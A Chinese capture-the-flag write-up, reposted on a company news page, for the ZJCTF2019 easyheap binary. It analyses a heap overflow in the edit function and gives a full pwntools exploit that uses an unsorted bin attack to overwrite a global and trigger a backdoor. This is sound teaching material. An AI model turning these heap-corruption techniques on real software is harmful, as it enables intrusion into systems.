尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

百航鹿大联训 ZJCTF2019_easyheap

百航鹿大联训 ZJCTF2019_easyheap
📅 发布时间:2026/6/19 20:19:14

easy在哪我请问了。
这题没给libc.so.6文件,但是知道是ubuntu 16,可以查一下,对应libc2.23。
拿到可执行文件,先checksec一下。

  • Arch可以看到架构,x86,64位,小端序。
  • RELRO表示重定位保护情况。Partial是比较弱的等级,允许覆写GOT表;Full的话就不能改GOT了。
  • Canary found表示启用了栈金丝雀保护,会在栈帧里放随机的Canary值,简单的栈溢出等错改了Canary就会被干掉。
  • NX表示no execute,数据段(栈、堆等)不能执行。不能把shellcode直接放到栈里然后跳过去执行。
  • PIE表示可执行文件地址随机化。这里没开,说明文件的地址是固定的,函数地址等也是固定的,是很大的利好。但是libc/堆/栈等还是会被 ASLR 随机化,如果需要仍需泄漏。
  • Stripped表示是否剥离符号表。这里没有剥离,那么可以直接通过函数名、变量名等看到地址位置,对实操比较友好。

同样是菜单题,但是发现输4869有一个后门函数,可以拿到system。(buu上是个假后门,要用fastbin attack做,以后有机会再补吧)

if ( v3 == 4869 ){if ( (unsigned __int64)magic <= 0x1305 ){puts("So sad !");}else{puts("Congrt !");l33t();}}

要求magic变成一个比较大的数,暂时不知道怎么做,看接下来的函数。

unsigned __int64 create_heap()
{int i; // [rsp+4h] [rbp-1Ch]size_t size; // [rsp+8h] [rbp-18h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v4; // [rsp+18h] [rbp-8h]v4 = __readfsqword(0x28u);for ( i = 0; i <= 9; ++i ){if ( !*(&heaparray + i) ){printf("Size of Heap : ");read(0, buf, 8uLL);size = atoi(buf);*(&heaparray + i) = malloc(size);if ( !*(&heaparray + i) ){puts("Allocate Error");exit(2);}printf("Content of heap:");read_input(*(&heaparray + i), size);puts("SuccessFul");return __readfsqword(0x28u) ^ v4;}}return __readfsqword(0x28u) ^ v4;
}

和高达那题类似的,创建结构体。没啥特别的。

unsigned __int64 edit_heap()
{int v1; // [rsp+4h] [rbp-1Ch]size_t v2; // [rsp+8h] [rbp-18h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v4; // [rsp+18h] [rbp-8h]v4 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);v1 = atoi(buf);if ( (unsigned int)v1 >= 0xA ){puts("Out of bound!");_exit(0);}if ( *(&heaparray + v1) ){printf("Size of Heap : ");read(0, buf, 8uLL);v2 = atoi(buf);printf("Content of heap : ");read_input(*(&heaparray + v1), v2);puts("Done !");}else{puts("No such heap !");}return __readfsqword(0x28u) ^ v4;
}

可以修改heap的size和内容。注意到并没有检查修改后size是否超出原size,然而create的时候是比着大小开的。这说明可以做堆溢出。

unsigned __int64 delete_heap()
{int v1; // [rsp+Ch] [rbp-14h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Index :");read(0, buf, 4uLL);v1 = atoi(buf);if ( (unsigned int)v1 >= 0xA ){puts("Out of bound!");_exit(0);}if ( *(&heaparray + v1) ){free(*(&heaparray + v1));*(&heaparray + v1) = 0LL;puts("Done !");}else{puts("No such heap !");}return __readfsqword(0x28u) ^ v3;
}

删除堆。这里把free的指针置空了,没有UAF。


2.23没有tcache的事。考虑unsorted bin attack。
创建三个chunk,0号用于做溢出,1号紧跟在0号后面被溢出(要求大小>=0x80,这样才能进入unsorted bin),2号防止和Top chunk合并。
p &magic可以直接查出来magic的地址0x6020c0。这就是NO PIE和no stripped的好处,不用费力做泄漏。
考虑堆溢出把1号chunk的bk改成&magic-0x10。这样重新取出1号chunk时会执行unlink操作,1号chunk的bk会成为一个fake chunk。取出时,会把main_arena的bk指向该fake chunk,而fake chunk的fd指向main_arena。
也就是说,把&magic处的值改成了main_arena。这通常是个相当大的数,可以满足此题的要求。但由于写入值不可控,所以不知道实际生活有啥用()
值得注意的是,比较新的libc(2.28以后?)加入了申请chunk时对双向链表的检查,只改一边是不行的,会导致malloc时崩溃。


然后愉快地写代码吧。

from pwn import *
context.log_level="debug"
io=process("./easyheap")
elf=ELF("./easyheap")
def create(size,content):io.sendlineafter("Your choice :","1")io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap:",content)
def edit(index,size,content):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap : ",content)
def delete(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index))
def backdoor():io.sendlineafter("Your choice :","4869")
magic=0x6020c0 #NO PIE,所以是定值
create(0x10,"A"*4) #大小任意(但要保证能溢出),由于有末尾换行符,所以字符数必须严格小于10,不能取等,以下类似
create(0x90,"B"*4) #必须>=0x80
create(0x90,"C"*4) #大小任意
delete(1)
edit(0,0x31,b"A"*0x10+p64(0)+p64(0xa1)+p64(0xaaaaaa)+p64(magic-0x10))
'''
构造溢出payload,值得讲一下
前面0x10是0号chunk的大小,填满就行了
接下来8字节是prev_size,置0。疑似填什么无所谓?
接下来8字节是size,这个必须填对,不然malloc检查的时候会崩溃。
具体值是0x90(申请的大小)+0x10(header大小)+0x1(PREV_INUSE等标志位)=0xa1。当然也可以直接pwndbg里看。
接下来8位是fd。填什么都无所谓。
接下来8位是bk。-0x10是因为把这个当成了fake chunk的开头,会在fd的位置(+0x10)开始写。
'''
create(0x90,"e"*4)#大小必须和之前的1号一样,保证取出的是unsorted bin里的1号
backdoor()
io.interactive()

相关新闻

  • python-方法
  • CRT弹窗接收用户文本输入
  • vscode-vue-缩进

最新新闻

  • 旧书店
  • 沧州市黄金首饰回收正规门店推荐,附各区回收网点联系方式 - 三大殿
  • 大兴安岭地区黄金回收去哪儿好?整理了5家靠谱实体店地址电话 - 三大殿
  • 承德市今日黄金回收价格多少?本地5家口碑门店报价参考 - 马刺总冠军
  • 2026 正规备案收金店,称重透明结算无隐藏扣费 - 讯息早知道
  • 贺州市黄金回收实体店怎么选?这份清单帮你货比三家 - 开始就结束

日新闻

  • 信任的进化:技术实现详解——如何用JavaScript构建博弈论模拟器
  • Terrakube自定义工作流:如何集成OPA、Infracost等工具扩展IaC能力
  • grunt-concurrent快速入门:5分钟学会并行运行Grunt任务

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号